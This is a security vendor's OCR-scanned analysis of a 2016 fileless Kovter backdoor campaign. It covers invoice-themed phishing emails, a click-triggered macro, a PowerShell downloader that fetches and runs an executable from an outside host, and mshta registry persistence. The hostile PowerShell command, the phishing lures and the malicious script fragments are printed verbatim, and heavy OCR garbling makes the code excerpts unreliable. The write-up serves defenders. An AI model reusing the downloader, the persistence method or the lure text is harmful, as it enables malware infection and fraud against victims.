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New Wave of Fileless Kovter Backdoor Trojan
Attacks Via ;Targeted” Macro-Based Malware
Spam Campaign

INTRODUCTION

During October 17 to 21,2016, Morphisec identified and prevented several maliciousand sophisticated macro-
based documents at the site of one of our customers delivering a fileless Kovter backdoor Trojan attack.

This and similar attacks illustrate the troubling trend that macro-based malspam campaigns are attacking
enterprises with modified evasion techniques now on a weekly basis With antivirus products updating their
signatures within 3-7 days of the detection of an attack, the window of opportunity is big enough for
cybercriminals to score.

The security stack of our customer is composed of Kaspersky AV, Malwarebytes (an antimalware solution) and
Morphisec Endpoint Threat Prevention solution. h this case, both Malwarebytes and Kasperskywere not able
to identify the malicious documents, the payloads or any other infection step during the attack chain evenwhen
tested on isolated computers without M orphisec. Only Morphisec prevented the attack on arrival, giving our
customer the peace of mind he expected when augmenting his preferred AV solution with Morphisec.

In many respects, this current malspam campaign demonstrated unique qualities: Bettertargeted emails,
modified macro with click-based execution, modified payloads and persistency mechanism A description of a
previous Kovter backdoor variant can be found here
http://blog.airbuscybersecurity.com/post/2016/03/FILELESS -MALWARE%E2%80%93A-BEHAVIOURAL
ANALYSISOFKOVTERPERSISTENCE

Kovter is notorious for its sophistication and for attacking in waves: Its fileless variant evolved from previously
pretending to be a Firefox or Chrome updateto being delivered throughJavaScript inside Zip files in August
2016.
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TECHNICAL ANALYSIS

1. Use of Targeted Emails

Monitoring the latest campaigns, we found the often used Anvoice/bill { email pattern. The subject and content
pretends to inform the recipient about a due invoice andthat payment needs immediate attention. A sense of
urgency is created bythreating the recipient with consequences in case this email is ignored.

The Kovter attack under discussion is of a more targeted nature : The attackers name the attached files with
the company name, and on some of the mails theyaddress the employee byhis/her name and job title .

All the emails in this campaign originated from Cox email service users, as you can seeby lookingats gd e qgn |
field. [Cox allows to use its service in a 60-days free trial.]

Email Example 1
Fwilnc. critical Billing Alert - OVERDUE INVOICE (01A4740)

== I . doc =

=| .docFile

From: Susan Lloyd <bjlv2@cox.net>

Sent: Tuesday, October 18, 2016 11:43 AM
To:ﬂ

Subject:-nc. Critical Billing Alert - OVERDUE INVOICE (01A4740)

oear [

This is an important notice and needs your urgent consideration. Although dispatching you multiple reminders, we received no response from you regarding the long overdue
balance. We think we have provided you extensive time and have been understanding with you. Consequently:

At this point there is no choice but to assign your liability in the hands of a debt collection agency.

This operation will inﬂuence-nc. credit score.

Please reach out to us asap should wish to negotiate an installment plan.

This invoice(s) is seriously past due:

Invoice # Date Due Amount + 5% Penalty fee

INV00154834 September, 10th $2,893.70

Payment terms: see in the attached Billing Statement.

We hope you will give this matter significant consideration.
Best Regards,

Susan Lloyd,

Visual Mfg Accounting

Castro Acctcy Corp.
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Email Example 1

From: Rick Vandrisse [mailto:golfrace@cox.net]
Sent: Tuesday, October 18, 2016 11:51 AM
To:
Subject: Message has been disinfected :
ACCOUNT (Z8294)

This is an important letter and requires your immediate attention. Although emailing you several notifications, we
received no response from you about the seriously past due balance. We think we have given you generous time
and have been patient with you. Hence:

We feel there is no choice but to pass your account in the hands of a debt collection firm.

This action will impact] merica - redit rating.

Please email us as soon as possible if you would wish to negotiate a repayment plan.

merica —_Jrgent Alert - OVERDUE

This invoice(s) is critically overdue:

Invoice # Date Due  Total + 10% Penalty fee
US0158321 Sept, 16th $1,533

Payment terms: find in the enclosed Invoice.
We sincerely hope you will give this situation serious consideration.

Sincerely,

Rick Vandrisse,
Clerical/accounting
William J Portanova

The information transmitted in this email is intended solely for the addressee and may contain confidential,
proprietary and/or privileged material. Any unauthorized review, distribution or other use of this information is strictly
prohibited. If you have received this email in error please contact the sender immediately and delete any and all
copies of this message.

m|m
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2. Malicio us Macro

This time the macro has a slight modification in its delivery method. It is not enough to just enable the macro
content.

The code is activated if the macro is enabledand the user clicks on one of the images in the macro : This way it
can easily evade simple sandbox services which have simulated the enable macro content only.

To make detection even harder, the macro writers restricted the edit and view of the macro mapping to the
different image clicks. Adding a restriction password on image edit also disables the sandbox to automatically
map the macro procedures which will be activated.

e o< (compstioity
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3. PowerShell - First Stage

The macro code activates a decrypted PowerShellcode that downloads the Kovter downloader from
hxxp://[demitartgourmet[.Jcom/changelog/bindatal.]Jexe . Note that any image click will eventually result in the
execution of the same PowerShellcode.

B Motoman - ThisDocument (Code) EI@
IlGeneral) j |vurvc j
Fublic Sub Imagel Click() Macros d
prBtM
End Sub
Fublic Sub Image? Click() Matro Mame:
prBtM
End Sub
Public Function d(ByVal NprcZr RAs 5tring, ByVal adayYW As String) As 5tring ThisDocument. Image2_Click Ce
For wsoTe = 1 To Len(NprcZr) ThisDocument.prBtiv
Ha¥YJgCB = GmzMp (NprciZr, wsoTe) Ste|
If Not XLamx (adayYW, HaYJgCB) Then
d = Ha¥JqCB & d E
End If
Hext cr
End Function
Public Function GmzMp (ByVal zrvDJ As S5tring, ByVal wsoTe As Integer) As String De

GmzMp = Mid(zrvDJ, wsoTe, 1)
End Function
Public Function XLamx (ByVal sruwbf As String, ByVal gCzDZzy As String) As Boolean

XLamx = In5Str(sruwbh, gCzDZIzy) Macros In: IProject(Moboman) LI
End Function

Public Sub zguFtk(ByVal XYWFJ As String)

[ JliSet UnwaGfr = CreateObject (d("lgl2seFvhwGSb5.DLSRpi4r08YcSxNk™, "Gsb4Y250DFBwokxRv™) )

UnwaGfr.Run XYWFJ, O

End Sub

Public Function VUlvC() As String

VUlvC = d("E VGcv-jx Xs9Xsgap9X9yvbk CfpRe-LR 40pY¥Tomn-1lm GY¥nzedRdm2iB8h zXDwWUB- Y6lkUleFmh3FEYs6&ref8PwVT8opJd™, "Doml
o»| End Function

Public Function AUxsm() As 3tring

LUxsm = d("L)gf8¢qg (HoveUxEOR . 4Kkv) 1XUH1BehMISKL . tRXpVHi r3UL0cSTHOWZE m4XJ60cJZ-B XqgtVeke05iYBBKbTqO-US8w2eNLTv (42
Fnd Function

WUC "powershell -w hidden -nop -ep bypass -c $f=[System.|0.Path]::.GefTempFileName(};{New-Object System Net. WebClient). DownloadFile( http://demitartgourmet. com/changelog/bindata. exe’, $f);(New-Object -com WScript. Shell). Exec(Sf)"

4. Double Persistency through File -Less mshta Scripts
To gain persistency, Kovter uses both the Run key inHKCU(*) " mc Rgdg& Ldmt . Ognf.q | r. R

[* For descriptionofs gd trd GJDX"BTRODEEMBO TRDQUW
https://blogs.technet.microsoft.com/mmpc/2016/07/22/kovter  -becomes-almost-file-less-creates-a-new-file-type-and-gets-
some-new-certificates/ ]

4.1. HKCU

Inthe ~ G J BSdftware\Microsoft \Windows\ CurrentVersionQ t rtechnique we can find two persistency
methods which are both activated to reassure the execution of Kovter upon user login.We use RegmagK to
show you the persistent code in the registry, because regular regedit.exeis not sufficient as a result of non-
ASClicharacters that the attackers inserted intentionally.

T he fmsrhapeocedure will activate a JavaScript eval () function that executes a registry parameter written
in a different registry location [described furth er below].
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B RegmagiK (Admi or) CURRENT_USE i 2 \F [E=REc™x"
— — L‘l <« Local Disk (C) » Users » b AppData » Local » abab Search abab
Ee e ghlaEn0AaX (b0 Bas R @S s T genize v [17Open  Sharewith~  Bum  Newfolder (7 f4ba Properties =]
S e v > m = | _ _ _
= Favorites ame | Compatiiity | Secuty | Detals | Previous Versions |
= Mame Type Dats Desktop T General | Shottout | Options | Fot | Layout | Colors |
0 Windows [38 REG_SZ 2 "C\Windows\system32\mshta.exe” javascriptIL6BY="Msft"E Downlond '
B CurentVers | g REG_SZ @ ”(:\Use.s‘-AppData\Loca\\anab\mba.lnk" g Powmioncs B} el43.50fec - bz
(3 Action ¢ %] Recent Places @ f4ba
(23 Applets
J Tergettype:  Windows Batch File
g E"”"“‘P Libraries
evice 3
o Do) 5 Documents Target location: abab
= Music Target sm-pp[!ala\ana\\ahab\SSSObat
~([Z3 Extensio = Pictures
[Z2 GroupP__ Videos Start in:
[ HomeG| _
Eime | Shotutkey:  None
(20 Internet | Homegroup
& mcT Run [Minimized -
-3 NetCacl B Computer Comment:
2 Policies
-3 RADAR W Network [ Open Fie Location | | Chenge leen... | [ Advanced... |
ém 3 B ymware-host
R [ - >
Thank you for using Regmagik. Learn more st www.regmagik.com
YT NeE - — -—
File Edit Search View Encoding Language Settings Macro Run Plugins Window 7
sHHB LBl MDD ol 23 BEHTEZERL®| @ ED BB Cancel Fooly
Drewi18] ¢ Esseosa |
1 ILEBY = "M=ftt; start "" "C:\Users ]I reData\Local \abab) o143, 50tec”
2 Br56 = new ActiveXObject ("WScript.Shell™):
4 ead ("HKCU\\software\\gpvlgi\\coydudku") ;
" s yBVmO26v =
& eval (HV4:
7 tSqy33 =

The second Run persistency method will activate a link file that is created in the local directory. This link file just
activates a stub [filename].50fec (random name). The activation of the file is less interesting, but as it looks
from registry, Kovter has created anopen commandregistry to trigger a code execution when the associated
files are activated (c56eand 50fec), in this case again amshta JavaScript code will be activated with the same
code from registry. [ For detailed description seehttps://blogs.technet.microsoft.com/mmpc/2016/07/22/kovter -
becomes-almost-file-less-creates-a-new-file-type-and-gets-some-new-certificates/ ]

i Regmagik i ) CLASSES_ROCT\CSH P = P
| S - 1
Fle Edt View Go Bookmorks Tools Help (R LecalDisk (€ » Users v -» AppData » Local » abab 49 [l Search abab B
eS| g BaaEEEX | AER[ MRS E s T ganize v [ Open  Sharewith v Bum  Newfolder = 0 @
t M - Name : Date modified Type Size
Favorites
-2 BehaviorFactory.Microsoft.DX 4 hme Type Data
Desktoy ) 5560.bat 10/20/201610:41 .. Windouws Batch Fil 1B
{8 BehaviorFactory Microsoft DX AWindows\system32\mshta.exe” 'javascript:idelyy 0M=new ActiveXObject(".. v i nelows Baen e
{23 bidispl bidirequest - §. Downloads 5] c143.50fec 10/20/2016 1041 ... SOFEC File 28
23 bidispl.bidirequest.1 | Recent Places &) 4ba 10/20/201610:41 ... Shortcut 1K8
-2 bidispl.bidirequestcontainer @
(23 bidispl.bidirequestcontainerd L
ibraties
123 bidispl.bidisp! & o,
20 bidispl.bidispl.1 + | @ RegmagiK (Administrator) CLASSES_ROOT\.50fec =@ = ]
[ BMPFilter.CoBMPFilter
(3 BMPFilter.CoBMPFiterd ko o [ File Edit View Go Bookmarks Tools Help
(23 bootstrapuvste Vi@ @i g B s E| x| 5B BAQ| RS g6 R
(23 beotstrap.vsto.d S -3
-2 Briefease -
() brmFile | Ho g -;snpp Ij Name Type Dats
(23 ByotByotServerEx = 5 REG_SZ (3 cS6e
1 cs6e B cor| @O
{3 .AAC
-3 shell (3 .accd
(23 open e | = -
23 command N W R v = 5
£ rnne .
Rl o o 0 ] » Thank you for using RegmagiK. Learn more at www.regmagik.com
Thank you for using Regmagi. Learn more at vww.regmagik.com ;
m e — — —~— (=@ % ]
File Edit Search View Encoding Language Seftings Maco Run Plugins Window ? X
yHHE GBI s b e ny s BES1EDEH2 EEIEE
Breu nnoe B | 5 o56e. on_open_ Sliectt E3
1 ILEBY = "Msft"; 1 kledyye
2 BrS56 = new ActiveXObject ("WScript.Shell™): 2 N40M = new ActiveXObject ("WSeript.Shell"):
3 18€bQZs = "fn"; 3 eGIB9LB = "DpVHWhR";
4 HV4PK = Br56.RegRead ("HKCU\\software\\apvigs\ \coydudku") ; 4 3Q431 = N40M.RegRead ("HECU\\software\\apvlgi\\coydudku™) ;
| E] VvBVmO26v = " E gDSwhEMY = JtUCVR";
6 eval (HV4PK) ; 6 eval (3Q431)
7 tSqy33 = "wR"; 7 110v8i = "34n¥YBQ";
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42. ; Start Menu/ Programs/ Start’ ©path

The second persistency mechanism - as can be seen from process monitor - is the addition of a link file
(.Ink) in the Startup directory. Upon logn this file is activated as well as a very similar stub file (*.50fec) and
the same mshta script that is registered in the open commandregistry path will be activated as a trigger.

5. Mshta and PowerShell executed directly from registry

After observing the persistency steps, we are diving into theJavaScript code that is activated through the mshta
(and is written in HKCU/Software/<RANDOM>/<random>) We notice that the JavaScript pattern is not very
different from previous Kovter patterns.
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